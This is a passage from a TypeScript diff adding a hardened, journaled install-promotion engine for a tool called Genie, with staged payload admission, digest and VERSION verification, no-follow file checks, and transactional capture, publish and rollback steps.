+} + +/** Remove only the held empty staging directory; never recursively delete a re-resolved pathname. */ +export function removeInstallStagingDirectory(guardValue: InstallStagingDirectoryGuard): boolean { + const guard = heldInstallStagingGuard(guardValue); + return removeExactHeldInstallStagingChild(guard.liveFd, guard.stagingName, guard.directoryFd); +} + +export function closeInstallStagingDirectory(guardValue: InstallStagingDirectoryGuard): void { + if (!activeInstallStagingGuards.delete(guardValue)) return; + installStagingContentDigests.delete(guardValue); + const guard = guardValue as HeldInstallStagingDirectory; + closeSync(guard.directoryFd); + closeSync(guard.liveFd); + closeSync(guard.homeFd); +} + +function fsyncRelativePhysicalTree(path: string): void { + const stat = lstatSync(path, { bigint: true }); + if (stat.isSymbolicLink() || (!stat.isFile() && !stat.isDirectory())) { + throw new InstallPromotionError(`copied install staging contains an unsafe object: ${path}`); + } + if (stat.isDirectory()) { + for (const name of readdirSync(path).sort()) fsyncRelativePhysicalTree(join(path, name)); + } + const flags = stat.isDirectory() + ? constants.O_RDONLY | constants.O_DIRECTORY | constants.O_NOFOLLOW + : constants.O_RDONLY | constants.O_NOFOLLOW; + const fd = openSync(path, flags); + try { + fsyncSync(fd); + } finally { + closeSync(fd); + } +} + +function sameStablePayloadStat(left: BigIntStats, right: BigIntStats): boolean { + return ( + left.dev === right.dev && + left.ino === right.ino && + left.mode === right.mode && + left.uid === right.uid && + left.gid === right.gid && + left.nlink === right.nlink && + left.size === right.size && + left.mtimeNs === right.mtimeNs + ); +} + +/** Read the canonical VERSION stamp through one bounded, no-follow descriptor. */ +function verifyPayloadVersionStamp(path: string, expectedVersion: string): void { + let fd: number; + try { + fd = openSync(path, constants.O_RDONLY | constants.O_NOFOLLOW); + } catch (error) { + throw new InstallPromotionError('staged VERSION is unavailable as a no-follow regular file', { cause: error }); + } + try { + const before = fstatSync(fd, { bigint: true }); + if ( + !before.isFile() || + before.uid !== currentUid() || + before.nlink !== 1n || + (before.mode & 0o022n) !== 0n || + before.size < 1n || + before.size > BigInt(MAX_VERSION_STAMP_BYTES) + ) { + throw new InstallPromotionError('staged VERSION is not a bounded owned regular file'); + } + + const buffer = Buffer.alloc(MAX_VERSION_STAMP_BYTES + 1); + let length = 0; + while (length < buffer.byteLength) { + const bytesRead = readSync(fd, buffer, length, buffer.byteLength - length, length); + if (bytesRead === 0) break; + length += bytesRead; + } + if (length > MAX_VERSION_STAMP_BYTES) { + throw new InstallPromotionError('staged VERSION exceeds the bounded file size'); + } + + const after = fstatSync(fd, { bigint: true }); + let visibleAfter: BigIntStats; + try { + visibleAfter = lstatSync(path, { bigint: true }); + } catch (error) { + throw new InstallPromotionError('staged VERSION changed while it was read', { cause: error }); + } + if ( + !sameStablePayloadStat(before, after) || + !sameStablePayloadStat(after, visibleAfter) || + BigInt(length) !== after.size + ) { + throw new InstallPromotionError('staged VERSION changed while it was read'); + } + + const bytes = buffer.subarray(0, length); + if (!bytes.equals(Buffer.from(`${expectedVersion}\n`, 'utf8'))) { + throw new InstallPromotionError(`staged VERSION does not exactly match ${expectedVersion}`); + } + } finally { + closeSync(fd); + } +} + +function updatePayloadContentDigest(hash: ReturnType, path: string, relativePath: string): void { + const before = lstatSync(path, { bigint: true }); + if (before.isSymbolicLink() || (!before.isFile() && !before.isDirectory())) { + throw new InstallPromotionError(`install payload content digest encountered an unsafe object: ${path}`); + } + hash.update(`${relativePath}\0${before.isDirectory() ? 'directory' : 'file'}\0${before.mode & 0o777n}\0`); + if (before.isFile()) { + const fd = openSync(path, constants.O_RDONLY | constants.O_NOFOLLOW); + try { + const heldBefore = fstatSync(fd, { bigint: true }); + if (!sameStablePayloadStat(before, heldBefore)) { + throw new InstallPromotionError(`install payload file changed before content hashing: ${path}`); + } + const bytes = readFileSync(fd); + hash.update(`${bytes.byteLength}\0`); + hash.update(bytes); + hash.update('\0'); + const heldAfter = fstatSync(fd, { bigint: true }); + const visibleAfter = lstatSync(path, { bigint: true }); + if (!sameStablePayloadStat(heldBefore, heldAfter) || !sameStablePayloadStat(heldAfter, visibleAfter)) { + throw new InstallPromotionError(`install payload file changed during content hashing: ${path}`); + } + } finally { + closeSync(fd); + } + return; + } + for (const name of readdirSync(path).sort()) { + updatePayloadContentDigest(hash, join(path, name), `${relativePath}/${name}`); + } + if (!sameStablePayloadStat(before, lstatSync(path, { bigint: true }))) { + throw new InstallPromotionError(`install payload directory changed during content hashing: ${path}`); + } +} + +function payloadContentDigest(root: string): string { + const hash = createHash('sha256'); + for (const name of INSTALL_PAYLOAD_MEMBERS) updatePayloadContentDigest(hash, join(root, name), name); + return hash.digest('hex'); +} + +/** Require both the held visible root and the exact authenticated payload bytes admitted into it. */ +export function verifyAdmittedInstallStagingPayload(guardValue: InstallStagingDirectoryGuard): void { + verifyInstallStagingDirectory(guardValue); + const guard = heldInstallStagingGuard(guardValue); + const contentDigest = installStagingContentDigests.get(guard); + if ( + contentDigest === undefined || + contentDigest === null || + payloadContentDigest(guard.stagingRoot) !== contentDigest + ) { + throw new InstallPromotionError('admitted install payload no longer matches its authenticated content digest'); + } +} + +function copyPayloadIntoHeldStaging(externalStagingRoot: string, guard: InstallStagingDirectoryGuard): void { + const cwdFd = openSync('.', constants.O_RDONLY | constants.O_DIRECTORY | constants.O_NOFOLLOW); + let entered = false; + let operationError: unknown; + let restoreFailed = false; + try { + if (installStagingAtApi().changeDirectory(guard.directoryFd) !== 0) { + throw new InstallPromotionError('could not bind payload copy to the held install staging directory'); + } + entered = true; + for (const name of INSTALL_PAYLOAD_MEMBERS) { + cpSync(join(externalStagingRoot, name), name, { + recursive: true, + force: false, + errorOnExist: true, + preserveTimestamps: true, + dereference: false, + verbatimSymlinks: true, + }); + } + const binaryFd = openSync('genie', constants.O_RDONLY | constants.O_NOFOLLOW); + try { + const binaryStat = fstatSync(binaryFd, { bigint: true }); + if ( + !binaryStat.isFile() || + binaryStat.isSymbolicLink() || + binaryStat.uid !== currentUid() || + binaryStat.nlink !== 1n + ) { + throw new InstallPromotionError('admitted Genie binary is not an owned physical file'); + } + fchmodSync(binaryFd, 0o755); + fsyncSync(binaryFd); + } finally { + closeSync(binaryFd); + } + for (const name of INSTALL_PAYLOAD_MEMBERS) fsyncRelativePhysicalTree(name); + fsyncSync(guard.directoryFd); + } catch (error) { + operationError = error; + } finally { + if (entered && installStagingAtApi().changeDirectory(cwdFd) !== 0) { + restoreFailed = true; + } + closeSync(cwdFd); + } + if (restoreFailed) { + throw new InstallPromotionError('could not restore the working directory after descriptor-bound staging', { + cause: operationError, + }); + } + if (operationError !== undefined) throw operationError; +} + +/** Admit an exact external release payload into the existing promotion engine's private direct-child contract. */ +export function admitExternalInstallStaging(options: AdmitExternalInstallStagingOptions): InstallStagingDirectoryGuard { + const externalStagingRoot = resolve(options.externalStagingRoot); + const genieHome = resolve(options.genieHome); + const relation = relative(genieHome, externalStagingRoot); + if (relation === '' || (!relation.startsWith(`..${sep}`) && relation !== '..')) { + throw new InstallPromotionError('external install staging must be outside GENIE_HOME'); + } + const dependencies = options.dependencies ?? {}; + const expectedVersion = canonicalExpectedVersion(options.expectedVersion); + if (expectedVersion === null) { + throw new InstallPromotionError('external install staging requires an expectedVersion to authenticate VERSION'); + } + const externalBefore = verifyPayloadLayout(externalStagingRoot, dependencies); + verifyPayloadVersionStamp(join(externalStagingRoot, 'VERSION'), expectedVersion); + const authenticatedContentDigest = payloadContentDigest(externalStagingRoot); + verifyVersion(join(externalStagingRoot, 'genie'), expectedVersion, 'staged', options.verifyVersion); + const guard = createInstallStagingDirectory({ + genieHome: options.genieHome, + randomId: options.randomId, + afterParentValidated: options.afterParentValidated, + }); + try { + options.afterCreated?.(); + copyPayloadIntoHeldStaging(externalStagingRoot, guard); + verifyInstallStagingDirectory(guard); + const externalAfter = verifyPayloadLayout(externalStagingRoot, dependencies); + assertSamePayloadGeneration(externalBefore, externalAfter); + if (payloadContentDigest(externalStagingRoot) !== authenticatedContentDigest) { + throw new InstallPromotionError('external install payload content changed during admission'); + } + const internalBefore = verifyPayloadLayout(guard.stagingRoot, dependencies); + verifyPayloadVersionStamp(join(guard.stagingRoot, 'VERSION'), expectedVersion); + if (payloadContentDigest(guard.stagingRoot) !== authenticatedContentDigest) { + throw new InstallPromotionError('admitted install payload content does not match the authenticated source'); + } + verifyVersion(join(guard.stagingRoot, 'genie'), expectedVersion, 'staged', options.verifyVersion); + const internalAfter = verifyPayloadLayout(guard.stagingRoot, dependencies); + assertSamePayloadGeneration(internalBefore, internalAfter); + installStagingContentDigests.set(guard, authenticatedContentDigest); + verifyInstallStagingDirectory(guard); + return guard; + } catch (error) { + removeInstallStagingDirectory(guard); + closeInstallStagingDirectory(guard); + throw error; + } +} + +function assertSafeOwnedDirectory(path: string, label: string, exactMode?: number): void { + let stat: BigIntStats; + try { + stat = lstatSync(path, { bigint: true }); + } catch (error) { + throw new InstallPromotionError(`${label} is not available as an owned physical directory`, { cause: error }); + } + if (!stat.isDirectory() || stat.isSymbolicLink()) + throw new InstallPromotionError(`${label} is not a physical directory`); + if (stat.uid !== currentUid() || stat.nlink < 1n) { + throw new InstallPromotionError(`${label} is not owned by the current user or has an invalid link count`); + } + const permissions = Number(stat.mode & 0o777n); + if ((permissions & 0o022) !== 0 || (exactMode !== undefined && permissions !== exactMode)) { + throw new InstallPromotionError(`${label} has unsafe permissions`); + } + fsyncDirectory(path); +} + +function assertSafeOwnedNode(path: string, allowSymlink: boolean): void { + const stat = lstatSync(path, { bigint: true }); + if (stat.uid !== currentUid() || stat.nlink < 1n || Number(stat.mode & 0o022n) !== 0) { + throw new InstallPromotionError(`transaction object has unsafe ownership, links, or permissions: ${path}`); + } + if (stat.isSymbolicLink()) { + if (!allowSymlink) throw new InstallPromotionError(`staged payload contains a symlink: ${path}`); + return; + } + if (stat.isFile()) return; + if (!stat.isDirectory()) throw new InstallPromotionError(`transaction object is a special node: ${path}`); + for (const name of readdirSync(path).sort()) assertSafeOwnedNode(join(path, name), allowSymlink); +} + +function fsyncDirectory(path: string): void { + const fd = openSync(path, constants.O_RDONLY | constants.O_DIRECTORY | constants.O_NOFOLLOW); + try { + fsyncSync(fd); + } finally { + closeSync(fd); + } +} + +function mkdirExclusive(path: string, parent: string): void { + mkdirSync(path, { mode: 0o700 }); + assertSafeOwnedDirectory(path, path, 0o700); + fsyncDirectory(path); + fsyncDirectory(parent); +} + +function ensurePhysicalPrivateDirectory(path: string, parent: string): void { + try { + mkdirExclusive(path, parent); + } catch (error) { + if (!isNodeError(error, 'EEXIST')) throw error; + assertSafeOwnedDirectory(path, path, 0o700); + } +} + +function ensureCompatiblePreviousDirectory(path: string, parent: string): void { + try { + mkdirExclusive(path, parent); + } catch (error) { + if (!isNodeError(error, 'EEXIST')) throw error; + assertSafeOwnedDirectory(path, path); + } +} + +function stableFileBytes(path: string): string { + const fd = openSync(path, constants.O_RDONLY | constants.O_NOFOLLOW); + try { + const before = fstatSync(fd, { bigint: true }); + if ( + !before.isFile() || + before.uid !== currentUid() || + before.nlink !== 1n || + (before.mode & 0o777n) !== 0o600n || + before.size > BigInt(MAX_JOURNAL_BYTES) + ) { + throw new InstallPromotionError(`transaction metadata is not a bounded regular file: ${path}`); + } + const bytes = readFileSync(fd); + const after = fstatSync(fd, { bigint: true }); + const atPath = lstatSync(path, { bigint: true }); + if ( + before.dev !== after.dev || + before.ino !== after.ino || + before.mode !== after.mode || + before.uid !== after.uid || + before.gid !== after.gid || + before.nlink !== after.nlink || + before.size !== after.size || + before.mtimeNs !== after.mtimeNs || + after.dev !== atPath.dev || + after.ino !== atPath.ino || + after.mode !== atPath.mode || + after.uid !== atPath.uid || + after.gid !== atPath.gid || + after.nlink !== atPath.nlink || + after.size !== atPath.size || + after.mtimeNs !== atPath.mtimeNs + ) { + throw new InstallPromotionError(`transaction metadata changed while it was read: ${path}`); + } + return bytes.toString('utf8'); + } finally { + closeSync(fd); + } +} + +function writeExclusiveDurableFile(path: string, contents: string): void { + const fd = openSync(path, constants.O_WRONLY | constants.O_CREAT | constants.O_EXCL | constants.O_NOFOLLOW, 0o600); + try { + writeFileSync(fd, contents, { encoding: 'utf8' }); + fsyncSync(fd); + } finally { + closeSync(fd); + } + fsyncDirectory(dirname(path)); +} + +function identityAt(path: string): PhysicalPathIdentity | null { + try { + return inspectPhysicalPath(path); + } catch (error) { + throw new InstallPromotionError(`could not inspect exact transaction object: ${path}`, { cause: error }); + } +} + +function sameIdentity(actual: PhysicalPathIdentity | null, expected: PhysicalPathIdentity): boolean { + return physicalPathIdentitiesEqual(actual, expected); +} + +/** + * A transaction may move an admitted root inode and then discover that a + * descendant changed at the final syscall boundary. The changed generation is + * never valid, but the root inode is still sufficient authority to quarantine + * that whole object away from the public live name without following any + * descendant symlink. + */ +function sameRootObject(actual: PhysicalPathIdentity | null, expected: PhysicalPathIdentity): boolean { + return ( + actual !== null && + actual.schemaVersion === expected.schemaVersion && + actual.kind === expected.kind && + actual.device === expected.device && + actual.inode === expected.inode && + actual.uid === expected.uid && + actual.gid === expected.gid + ); +} + +function assertSafeJournalIdentity(identity: PhysicalPathIdentity, label: string): void { + if ( + identity.uid !== currentUid().toString() || + BigInt(identity.links) < 1n || + (BigInt(identity.mode) & 0o022n) !== 0n + ) { + throw new InstallPromotionError(`${label} has unsafe ownership, links, or permissions`); + } +} + +function assertNoPath(path: string, label: string): void { + if (identityAt(path) !== null) throw new InstallPromotionError(`${label} is already occupied: ${path}`); +} + +function renameDependenciesFor( + dependencies: InstallPromotionDependencies, + event: InstallPromotionRenameEvent, +): NativeNoReplaceDependencies { + const base = dependencies.nativeRename ?? {}; + return { + ...base, + beforeInvoke: () => { + base.beforeInvoke?.(); + dependencies.beforeRename?.(event); + }, + }; +} + +function moveExact( + sourcePath: string, + targetPath: string, + expected: PhysicalPathIdentity, + event: InstallPromotionRenameEvent, + dependencies: InstallPromotionDependencies, + transactionPath: string, +): void { + const result = renamePathNoClobber(sourcePath, targetPath, expected, renameDependenciesFor(dependencies, event)); + if (!result.durable) { + throw new InstallPromotionError( + `held transaction parents could not be made durable during ${event.operation}; committed objects were retained`, + { transactionPath }, + ); + } + if (!result.parentPathsStable || result.committedTargetPath !== resolve(targetPath)) { + throw new InstallPromotionError( + `a transaction parent moved during ${event.operation}; exact objects were preserved`, + { + transactionPath, + }, + ); + } + if (result.sourcePathOccupied) { + throw new InstallPromotionError(`the consumed source name was concurrently reused during ${event.operation}`, { + transactionPath, + }); + } + if (dependencies.interruptAfterRename?.(event) === true) { + throw new InstallPromotionInterruptedError(transactionPath, event); + } + if (result.postInvokeError !== undefined) { + throw new InstallPromotionError( + `post-invoke boundary failed after committed ${event.operation}: ${result.postInvokeError.name}: ${result.postInvokeError.message}`, + { transactionPath }, + ); + } +} + +function canonicalJournal(journal: InstallPromotionJournal): InstallPromotionJournal { + return { + schemaVersion: 1, + transactionId: journal.transactionId, + expectedVersion: journal.expectedVersion, + genieHome: journal.genieHome, + liveRoot: journal.liveRoot, + stagingRoot: journal.stagingRoot, + members: journal.members.map((member) => ({ + name: member.name, + incoming: member.incoming, + prior: member.prior, + })), + }; +} + +function canonicalReceipt(receipt: InstallPromotionReceipt): InstallPromotionReceipt { + return { + schemaVersion: 1, + transactionId: receipt.transactionId, + sequence: receipt.sequence, + phase: receipt.phase, + member: receipt.member, + }; +} + +function canonicalJson(value: InstallPromotionJournal | InstallPromotionReceipt): string { + return `${JSON.stringify(value)}\n`; +} + +function parseJournal(path: string, expectedHome: string, transactionId: string): InstallPromotionJournal { + const text = stableFileBytes(path); + let value: unknown; + try { + value = JSON.parse(text); + } catch (error) { + throw new InstallPromotionError(`install transaction journal is not valid JSON: ${path}`, { cause: error }); + } + if (!isRecord(value)) throw new InstallPromotionError('install transaction journal must be an object'); + exactKeys(value, JOURNAL_KEYS, 'install transaction journal'); + if (value.schemaVersion !== 1 || value.transactionId !== transactionId) { + throw new InstallPromotionError('install transaction journal identity is inconsistent'); + } + if (value.expectedVersion !== null && typeof value.expectedVersion !== 'string') { + throw new InstallPromotionError('install transaction journal expectedVersion is malformed'); + } + const expectedVersion = + value.expectedVersion === null ? null : canonicalExpectedVersion(value.expectedVersion as string); + if (expectedVersion !== value.expectedVersion) { + throw new InstallPromotionError('install transaction journal expectedVersion is not canonical'); + } + const genieHome = resolve(expectedHome); + const liveRoot = join(genieHome, 'bin'); + if (value.genieHome !== genieHome || value.liveRoot !== liveRoot || typeof value.stagingRoot !== 'string') { + throw new InstallPromotionError('install transaction journal paths do not match the requested GENIE_HOME'); + } + const stagingRoot = resolve(value.stagingRoot); + if ( + stagingRoot !== value.stagingRoot || + dirname(stagingRoot) !== liveRoot || + !/^\.install-staging-[A-Za-z0-9._-]+$/.test(basename(stagingRoot)) + ) { + throw new InstallPromotionError('install transaction journal staging path is outside the physical bin root'); + } + assertSafeOwnedDirectory(genieHome, 'journal GENIE_HOME'); + assertSafeOwnedDirectory(liveRoot, 'journal live bin root'); + assertSafeOwnedDirectory(stagingRoot, 'journal staging root', 0o700); + if (!Array.isArray(value.members) || value.members.length !== INSTALL_PAYLOAD_MEMBERS.length) { + throw new InstallPromotionError('install transaction journal member set is incomplete'); + } + const members = value.members.map((raw, index): JournalMember => { + if (!isRecord(raw)) throw new InstallPromotionError('install transaction member must be an object'); + exactKeys(raw, JOURNAL_MEMBER_KEYS, 'install transaction member'); + const name = memberName(raw.name, 'install transaction member name'); + if (name !== INSTALL_PAYLOAD_MEMBERS[index]) { + throw new InstallPromotionError('install transaction members are not the exact canonical allowlist'); + } + const incoming = parsePhysicalPathIdentity(raw.incoming); + const prior = raw.prior === null ? null : parsePhysicalPathIdentity(raw.prior); + assertSafeJournalIdentity(incoming, `incoming identity for ${name}`); + if (prior !== null) assertSafeJournalIdentity(prior, `prior identity for ${name}`); + return { + name, + incoming, + prior, + }; + }); + const journal = canonicalJournal({ + schemaVersion: 1, + transactionId, + expectedVersion, + genieHome, + liveRoot, + stagingRoot, + members, + }); + if (canonicalJson(journal) !== text) { + throw new InstallPromotionError('install transaction journal is not in canonical strict JSON form'); + } + return journal; +} + +function receiptFileName(sequence: number): string { + return `${sequence.toString().padStart(RECEIPT_WIDTH, '0')}.json`; +} + +function parseReceipt(path: string, transactionId: string, expectedSequence: number): InstallPromotionReceipt { + const text = stableFileBytes(path); + let value: unknown; + try { + value = JSON.parse(text); + } catch (error) { + throw new InstallPromotionError(`install transaction receipt is not valid JSON: ${path}`, { cause: error }); + } + if (!isRecord(value)) throw new InstallPromotionError('install transaction receipt must be an object'); + exactKeys(value, RECEIPT_KEYS, 'install transaction receipt'); + if ( + value.schemaVersion !== 1 || + value.transactionId !== transactionId || + value.sequence !== expectedSequence || + typeof value.phase !== 'string' || + !RECEIPT_PHASES.has(value.phase as ReceiptPhase) + ) { + throw new InstallPromotionError('install transaction receipt identity or phase is inconsistent'); + } + const phase = value.phase as ReceiptPhase; + const member = value.member === null ? null : memberName(value.member, 'install transaction receipt member'); + if (MEMBER_RECEIPT_PHASES.has(phase) !== (member !== null)) { + throw new InstallPromotionError('install transaction receipt member does not match its phase'); + } + const receipt = canonicalReceipt({ schemaVersion: 1, transactionId, sequence: expectedSequence, phase, member }); + if (canonicalJson(receipt) !== text) { + throw new InstallPromotionError('install transaction receipt is not in canonical strict JSON form'); + } + return receipt; +} + +function validateReceiptOrder( + receipts: readonly InstallPromotionReceipt[], + index: number, + rollbackStarted: boolean, + verified: boolean, +): void { + const phase = receipts[index]?.phase; + if ((phase === 'captured' || phase === 'published') && (rollbackStarted || verified)) { + throw new InstallPromotionError('forward receipt appears after a final decision began'); + } + if ((phase === 'returned' || phase === 'restored') && !rollbackStarted) { + throw new InstallPromotionError('rollback member receipt appears before rollback-started'); + } + if (phase === 'verified' && (rollbackStarted || verified)) { + throw new InstallPromotionError('verified receipt is duplicated or follows rollback'); + } + if (phase === 'committed' && (!verified || receipts[index - 1]?.phase !== 'verified')) { + throw new InstallPromotionError('committed receipt is not immediately authorized by verified'); + } + if (phase === 'rolledback' && !rollbackStarted) { + throw new InstallPromotionError('rolledback receipt is not authorized by rollback-started'); + } +} + +function validateReceiptHistory(receipts: readonly InstallPromotionReceipt[]): void { + if (receipts.length === 0) return; + if (receipts[0]?.phase !== 'created' || receipts.slice(1).some((receipt) => receipt.phase === 'created')) { + throw new InstallPromotionError('install transaction created receipt is missing or duplicated'); + } + let rollbackStarted = false; + let verified = false; + for (const [index, receipt] of receipts.entries()) { + validateReceiptOrder(receipts, index, rollbackStarted, verified); + if (receipt.phase === 'rollback-started') rollbackStarted = true; + if (receipt.phase === 'verified') verified = true; + } +} + +function assertExactDirectoryNames(path: string, expected: readonly string[], label: string): void { + const actual = readdirSync(path).sort(); + const sortedExpected = [...expected].sort(); + if (actual.length !== sortedExpected.length || actual.some((name, index) => name !== sortedExpected[index])) { + throw new InstallPromotionError(`${label} contains an unknown or missing object`); + } +} + +function validateTransactionStructure(transactionRoot: string): void { + assertSafeOwnedDirectory(transactionRoot, 'install transaction root', 0o700); + assertExactDirectoryNames( + transactionRoot, + [JOURNAL_FILE, 'prior', 'receipt-staging', 'receipts'], + 'install transaction root', + ); + const priorRoot = join(transactionRoot, 'prior'); + const receiptStagingRoot = join(transactionRoot, 'receipt-staging'); + const receiptsRoot = join(transactionRoot, 'receipts'); + assertSafeOwnedDirectory(priorRoot, 'install transaction prior directory', 0o700); + assertSafeOwnedDirectory(receiptStagingRoot, 'install receipt staging directory', 0o700); + assertSafeOwnedDirectory(receiptsRoot, 'install transaction receipts', 0o700); + for (const name of readdirSync(priorRoot).sort()) { + memberName(name, 'install transaction prior object'); + assertSafeOwnedNode(join(priorRoot, name), true); + } + for (const name of readdirSync(receiptStagingRoot).sort()) { + if (!/^\.receipt-[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/.test(name)) { + throw new InstallPromotionError('install receipt staging directory contains an unknown object'); + } + stableFileBytes(join(receiptStagingRoot, name)); + } +} + +function readReceipts(transactionRoot: string, transactionId: string): InstallPromotionReceipt[] { + const receiptsRoot = join(transactionRoot, 'receipts'); + assertSafeOwnedDirectory(receiptsRoot, 'install transaction receipts', 0o700); + const names = readdirSync(receiptsRoot).sort(); + const receipts: InstallPromotionReceipt[] = []; + for (const [index, name] of names.entries()) { + const sequence = index + 1; + if (name !== receiptFileName(sequence)) { + throw new InstallPromotionError('install transaction receipt sequence contains a gap or unknown object'); + } + receipts.push(parseReceipt(join(receiptsRoot, name), transactionId, sequence)); + } + const terminalIndex = receipts.findIndex( + (receipt) => receipt.phase === 'committed' || receipt.phase === 'rolledback', + ); + if (terminalIndex >= 0 && terminalIndex !== receipts.length - 1) { + throw new InstallPromotionError('install transaction has receipts after its terminal decision'); + } + if (receipts[0] !== undefined && receipts[0].phase !== 'created') { + throw new InstallPromotionError('install transaction first receipt is not created'); + } + validateReceiptHistory(receipts); + return receipts; +} + +function loadTransaction(transactionRoot: string, genieHome: string): LoadedTransaction { + validateTransactionStructure(transactionRoot); + const name = basename(transactionRoot); + if (!name.startsWith(TRANSACTION_PREFIX)) throw new InstallPromotionError('install transaction name is malformed'); + const transactionId = name.slice(TRANSACTION_PREFIX.length); + if (!TRANSACTION_ID_PATTERN.test(transactionId)) + throw new InstallPromotionError('install transaction id is malformed'); + const journal = parseJournal(join(transactionRoot, JOURNAL_FILE), genieHome, transactionId); + return { root: transactionRoot, journal, receipts: readReceipts(transactionRoot, transactionId) }; +} + +function writeReceipt( + transaction: LoadedTransaction, + phase: ReceiptPhase, + member: InstallPayloadMember | null, + dependencies: InstallPromotionDependencies, +): void { + const receipts = readReceipts(transaction.root, transaction.journal.transactionId); + const sequence = receipts.length + 1; + const receipt = canonicalReceipt({ + schemaVersion: 1, + transactionId: transaction.journal.transactionId, + sequence, + phase, + member, + }); + if (MEMBER_RECEIPT_PHASES.has(phase) !== (member !== null)) { + throw new InstallPromotionError('cannot publish a receipt with an inconsistent member phase'); + } + const stagingRoot = join(transaction.root, 'receipt-staging'); + const receiptsRoot = join(transaction.root, 'receipts'); + const temporaryPath = join(stagingRoot, `.receipt-${(dependencies.randomId ?? randomUUID)()}`); + assertNoPath(temporaryPath, 'receipt staging name'); + writeExclusiveDurableFile(temporaryPath, canonicalJson(receipt)); + const identity = identityAt(temporaryPath); + if (identity === null) throw new InstallPromotionError('durable receipt disappeared before publication'); + const targetPath = join(receiptsRoot, receiptFileName(sequence)); + moveExact( + temporaryPath, + targetPath, + identity, + { + operation: 'publish-receipt', + member, + sourcePath: temporaryPath, + targetPath, + transactionId: transaction.journal.transactionId, + }, + dependencies, + transaction.root, + ); + transaction.receipts = [...receipts, receipt]; +} + +function promotionOrder(): InstallPayloadMember[] { + return [...INSTALL_PAYLOAD_MEMBERS.filter((name) => name !== 'genie'), 'genie']; +} + +function forwardCaptureOrder(): InstallPayloadMember[] { + return ['genie', 'VERSION', ...INSTALL_PAYLOAD_MEMBERS.filter((name) => name !== 'genie' && name !== 'VERSION')]; +} + +function rollbackCaptureOrder(): InstallPayloadMember[] { + return [ + 'genie', + 'VERSION', + ...promotionOrder() + .reverse() + .filter((name) => name !== 'genie' && name !== 'VERSION'), + ]; +} + +function memberRecord(journal: InstallPromotionJournal, name: InstallPayloadMember): JournalMember { + const member = journal.members.find((candidate) => candidate.name === name); + if (member === undefined) throw new InstallPromotionError(`transaction member is missing: ${name}`); + return member; +} + +function memberPaths(transaction: LoadedTransaction, name: InstallPayloadMember) { + return { + incoming: join(transaction.journal.stagingRoot, name), + live: join(transaction.journal.liveRoot, name), + prior: join(transaction.root, 'prior', name), + }; +} + +function inferFirstInstallMemberState( + incoming: PhysicalPathIdentity | null, + live: PhysicalPathIdentity | null, + prior: PhysicalPathIdentity | null, + member: JournalMember, +): MemberState | null { + if (live === null && prior === null) { + if (sameIdentity(incoming, member.incoming)) return 'captured'; + if (sameRootObject(incoming, member.incoming)) return 'quarantined'; + } + if (incoming === null && prior === null) { + if (sameIdentity(live, member.incoming)) return 'published'; + if (sameRootObject(live, member.incoming)) return 'published-drifted'; + } + return null; +} + +function inferReplacementMemberState( + incoming: PhysicalPathIdentity | null, + live: PhysicalPathIdentity | null, + prior: PhysicalPathIdentity | null, + member: JournalMember & { prior: PhysicalPathIdentity }, +): MemberState | null { + if (prior === null && sameIdentity(live, member.prior)) { + if (sameIdentity(incoming, member.incoming)) return 'initial'; + if (sameRootObject(incoming, member.incoming)) return 'quarantined'; + } + if (live === null && sameIdentity(prior, member.prior)) { + if (sameIdentity(incoming, member.incoming)) return 'captured'; + if (sameRootObject(incoming, member.incoming)) return 'quarantined'; + } + if (incoming === null && sameIdentity(prior, member.prior)) { + if (sameIdentity(live, member.incoming)) return 'published'; + if (sameRootObject(live, member.incoming)) return 'published-drifted'; + } + return null; +} + +function inferMemberState(transaction: LoadedTransaction, member: JournalMember): MemberState { + const paths = memberPaths(transaction, member.name); + const incoming = identityAt(paths.incoming); + const live = identityAt(paths.live); + const prior = identityAt(paths.prior); + const state = + member.prior === null + ? inferFirstInstallMemberState(incoming, live, prior, member) + : inferReplacementMemberState(incoming, live, prior, member as JournalMember & { prior: PhysicalPathIdentity }); + if (state !== null) return state; + throw new InstallPromotionError( + `transaction member ${member.name} is in an unknown or foreign state; every observed object was preserved`, + { transactionPath: transaction.root }, + ); +} + +function transitionMember( + transaction: LoadedTransaction, + member: JournalMember, + operation: InstallPromotionRenameOperation, + sourcePath: string, + targetPath: string, + expected: PhysicalPathIdentity, + receiptPhase: ReceiptPhase, + dependencies: InstallPromotionDependencies, +): void { + const event: InstallPromotionRenameEvent = { + operation, + member: member.name, + sourcePath, + targetPath, + transactionId: transaction.journal.transactionId, + }; + moveExact(sourcePath, targetPath, expected, event, dependencies, transaction.root); + if (terminalOutcome(transaction.receipts) === null) { + writeReceipt(transaction, receiptPhase, member.name, dependencies); + } +} + +function captureMember( + transaction: LoadedTransaction, + member: JournalMember, + dependencies: InstallPromotionDependencies, +): void { + const state = inferMemberState(transaction, member); + if (state === 'captured') return; + if (state !== 'initial' || member.prior === null) { + throw new InstallPromotionError(`cannot capture ${member.name} from state ${state}`, { + transactionPath: transaction.root, + }); + } + const paths = memberPaths(transaction, member.name); + transitionMember( + transaction, + member, + 'capture-prior', + paths.live, + paths.prior, + member.prior, + 'captured', + dependencies, + ); +} + +function publishMember( + transaction: LoadedTransaction, + member: JournalMember, + dependencies: InstallPromotionDependencies, +): void { + const state = inferMemberState(transaction, member); + if (state === 'published') return; + if (state !== 'captured') { + throw new InstallPromotionError(`cannot publish ${member.name} from state ${state}`, { + transactionPath: transaction.root, + }); + } + const paths = memberPaths(transaction, member.name); + transitionMember( + transaction, + member, + 'publish-incoming', + paths.incoming, + paths.live, + member.incoming, + 'published', + dependencies, + ); +} + +function runForward(transaction: LoadedTransaction, dependencies: InstallPromotionDependencies): void { + // Remove the prior executable before its VERSION stamp. If capture is + // interrupted, no executable can observe a generation stamp whose payload + // is already being dismantled. Publication keeps VERSION ahead of `genie`, + // with `genie` as the final public boundary. + for (const name of forwardCaptureOrder()) + captureMember(transaction, memberRecord(transaction.journal, name), dependencies); + for (const name of promotionOrder()) + publishMember(transaction, memberRecord(transaction.journal, name), dependencies); +} + +function returnIncoming( + transaction: LoadedTransaction, + member: JournalMember, + dependencies: InstallPromotionDependencies, +): void { + const paths = memberPaths(transaction, member.name); + const actual = identityAt(paths.live); + if (!sameRootObject(actual, member.incoming)) { + throw new InstallPromotionError(`cannot quarantine a foreign live ${member.name}`, { + transactionPath: transaction.root, + }); + } + transitionMember( + transaction, + member, + 'return-incoming', + paths.live, + paths.incoming, + actual as PhysicalPathIdentity, + 'returned', + dependencies, + ); +} + +function reclaimPriorBinaryBackup(transaction: 